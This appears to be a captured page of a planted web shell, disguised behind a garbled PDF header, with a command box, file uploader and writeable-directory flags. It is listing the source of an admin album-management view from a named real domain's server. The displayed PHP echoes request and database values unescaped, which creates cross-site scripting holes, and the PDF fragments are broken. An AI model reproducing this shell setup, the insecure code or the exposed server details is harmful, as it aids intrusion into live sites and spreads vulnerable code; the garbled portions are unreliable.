%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardacorporation.net/application/modules/admin/views/managealbums/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardacorporation.net/application/modules/admin/views/managealbums/managealbums.php
<script src="<?= base_url('assets/ckeditor/ckeditor.js') ?>"></script>

<div id="content-wrapper">
       <div class="container-fluid">

          <!-- Breadcrumbs-->
          <ol class="breadcrumb">
            <li class="breadcrumb-item">
              <a href="<?php echo site_url('admin/home'); ?>">Dashboard</a>
            </li>
            <li class="breadcrumb-item active">Manage Albums</li>
          </ol>

          <!-- DataTables Example -->
		  
		  <div class="card mb-3 fomr-news">
            <div class="card-header card-header-new"><h3> <i class="fas fa-table"></i> Albums Details </h3> <a href="javascript:void(0);" data-toggle="modal" data-target="#add_edit_albums" class="btn btn-default" style="margin-bottom:10px;"> Add Albums</a>  </div> 
	     </div> 


            <div class="card-body">
              <div class="table-responsive">
				<!---- Success Message ---->
				<?php if ($this->session->flashdata('success')) { ?>
				<p style="color:green; font-size:18px;"><?php echo $this->session->flashdata('success'); ?></p>
				</div>
				<?php } ?>
                
                <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0">
                  <thead>
                    <tr>
                      <th>#</th>
                      <th>Album Title</th>
                        <th>School Name</th>
                        <th>Album Image</th>
                        <th>Album Date</th>
                        <th>Display Order</th>
                      <th>Status</th>
                      <th>Action</th>
                    </tr>
                  </thead>
                  <tfoot>
                      <tr>
                      <th>#</th>
                      <th>Album Title</th>
                        <th>School Name</th>
                        <th>Album Image</th>
                        <th>Album Date</th>
                        <th>Display Order</th>
                      <th>Status</th>
                      <th>Action</th>
                    </tr>
                  </tfoot>
                  <tbody>

				<?php
				if(count($albums)) :
				$cnt=1; 
				foreach ($albums as $row) :
				?>                    
                    <tr>
						<td><?php echo htmlentities($cnt);?></td>
                        <td><?php echo $row['album_title']?></td>
						<td><?php echo $row['school_name']?></td>
                        <td> 
						<?php
						$image = 'assets/imgs/default-banner.png';
						if($row['album_image']!='')
						{
							$image = 'attachments/gallery_images/' . $row['album_image'];
							if (!file_exists($image)) {
								$image = 'assets/imgs/default-banner.png';
							}
						}
						?>
						<img src="<?= base_url($image) ?>" class="img-responsive img-thumbnail" style="max-width:80px; margin-bottom: 5px;">
						</td>
                        <td><?php echo $row['album_date']?></td>
                        <td><?= $row['display_order'] ?></td>
                        <td><?= $row['status']=='1' ? 'Active' : 'Inactive' ?></td>
						<td>
                                <a href="?edit=<?= $row['id'] ?>"><span class="fa fa-edit"></span></a>
                                <a href="?delete=<?= $row['id'] ?>" class="confirm-delete"><span class="fa fa-trash confirm-delete"></span></a>
                        </td>
                    </tr>
				 <?php 
				$cnt++;
				endforeach;
				else : ?>

				<tr>
				<td colspan="8">No album found</td>
				</tr>
				<?php
				endif;
				?>                
              
        
                  </tbody>
                </table>
            </div>

          </div>


        </div>
        <!-- /.container-fluid -->

        <!-- Sticky Footer -->

<!--Add /Edit menu modal-->
        <div class="modal fade" id="add_edit_albums" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <form action="" method="POST"  enctype="multipart/form-data">
                <div class="modal-header">
                        <button type="button" class="close" <?php if(isset($_GET['edit'])) { ?>  onClick="history.go(-1)" <?php } else { ?> data-dismiss="modal" aria-label="Close"  <?php } ?>><span aria-hidden="true">&times;</span></button>
                        <h4 class="modal-title" id="myModalLabel">Add New Album</h4>
                </div>
                <?php if (validation_errors()) { ?>
					<div class="alert alert-danger"><?= validation_errors() ?></div>
					<?php  } ?>
				 <div class="modal-body">
                 <input type="hidden" name="edit" value="<?= isset($_GET['edit']) ? $_GET['edit'] : '0' ?>">

                 <div class="form-group">
                            <label for="email">Album Title</label>
                            <input type="text" name="album_title" placeholder = 'Album Title' class="form-control" value="<?= isset($_POST['album_title']) ? $_POST['album_title'] : '' ?>" id="album_title" />
                        </div>
						<?php if($_POST['album_type']=='') { $_POST['album_type'] ='2'; }?>
						
					   <div class="form-group">
                            <label for="assign_role">Album Type</label>
                            <select class="form-control" name="album_type" id="album_type">
							<option value=""> -- Album Type -- </option>
							<option value="1" <?php if(@$_POST['album_type']=='1') { echo 'selected = "selected"'; }?>>Events</option>
							<option value="2" <?php if(@$_POST['album_type']=='2') { echo 'selected = "selected"'; }?>>Others</option>
							</select>
                       </div>
					   
						<div class="form-group event_div" style="display:none;">
							<label for="email">Event</label>
							<select class="form-control" name="event_id" id="event_id">
								<option value=""> -- Select Event -- </option>
								<?php foreach($sectionArray as $details) { ?>
								<option value="<?php echo $details['id']; ?>" <?php if(@$_POST['event_id']==$details['id']) { echo 'selected = "selected"'; }?>><?=$details['event_name'] ?></option>
								<?php } ?>
							</select>
						</div>
						
						<div class="form-group school_div">
							<label for="email">School</label>
							<select class="form-control" name="school_id" id="school_id">
								<option value=""> -- Select School -- </option>
								<?php foreach($schools as $school) { ?>
								<option value="<?php echo $school['id']; ?>" <?php if(@$_POST['school_id']==$school['id']) { echo 'selected = "selected"'; }?>><?=$school['school_name'] ?></option>
								<?php } ?>
								<option value="100" <?php if(@$_POST['school_id']=='101') { echo 'selected = "selected"'; }?>>Other</option>
								<option value="101" <?php if(@$_POST['school_id']=='101') { echo 'selected = "selected"'; }?>>Research</option>
							</select>
						</div>
						
						<div class="form-group">
                            <label for="email">Album Url</label>
                            <input type="text" name="album_url" placeholder = 'Album Url' class="form-control" value="<?= isset($_POST['album_url']) ? $_POST['album_url'] : '' ?>" id="album_url" />
                        </div>
						
						<div class="form-group bordered-group">
							<?php
							if (isset($_POST['album_image']) && $_POST['album_image'] != null) {
								$image = 'attachments/gallery_images/' . $_POST['album_image'];
								if (!file_exists($image)) {
									$image = 'attachments/no-image.png';
								}
								?>
								<p>Photo Image:</p>
								<div>
									<img src="<?= base_url($image) ?>" class="img-responsive img-thumbnail" style="max-width:80px; margin-bottom: 5px;">
								</div>
								<input type="hidden" name="old_image" value="<?= $_POST['album_image'] ?>">
								<?php if (isset($_GET['to_lang'])) { ?>
									<input type="hidden" name="album_image" id="album_image" value="<?= $_POST['album_image'] ?>">
									<?php
								}
							}
							?>
							<label for="userfile">Photo Image</label>
							<input type="file" id="album_image" name="album_image" />
						</div>
						
						<div class="form-group">
                            <label for="email"></label>
                            <input type="date" name="album_date" placeholder = 'Date' class="form-control" value="<?= isset($_POST['album_date']) ? $_POST['album_date'] : '' ?>" id="album_date" />
                        </div>
						
						<div class="form-group">
                            <label for="email">Display Order</label>
                            <input type="text" name="display_order" placeholder = 'Display Order' class="form-control" value="<?= isset($_POST['display_order']) ? $_POST['display_order'] : '1' ?>" id="display_order">
                        </div>
					
					   <?php $_POST['status'] = $_POST['status']=='' ? '1' : $_POST['status'] ?>
					   <div class="form-group">
                            <label for="assign_role">Status</label>
                            <select class="form-control" name="status" id="status">
							<option value=""> -- Select Status -- </option>
							<option value="1" <?php if(@$_POST['status']=='1') { echo 'selected = "selected"'; }?>>Active</option>
							<option value="0" <?php if(@$_POST['status']=='0') { echo 'selected = "selected"'; }?>>Inactive</option>
							</select>
                       </div>
					   
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-default" <?php if(isset($_GET['edit'])) { ?>  onClick="history.go(-1)" <?php } else { ?> data-dismiss="modal" <?php } ?>>Cancel</button>
                        <input type="submit" class="btn btn-primary" value="Save">
                    </div>
            </form>
        </div>
    </div>
</div>
       <!--Add /Edit menu modal-->
<script>
<?php if (isset($_GET['edit'])) { ?>
        $(document).ready(function () {
            $("#add_edit_albums").modal('show');
        });
<?php } ?>

$('#album_type').change(function(){
	var album_type = $(this).val();
	if(album_type==1){
		$('.school_div').hide();
		$('.event_div').show();
	} else {
		$('.school_div').show();
		$('.event_div').hide();
	}
});
</script>

Kontol Shell Bypass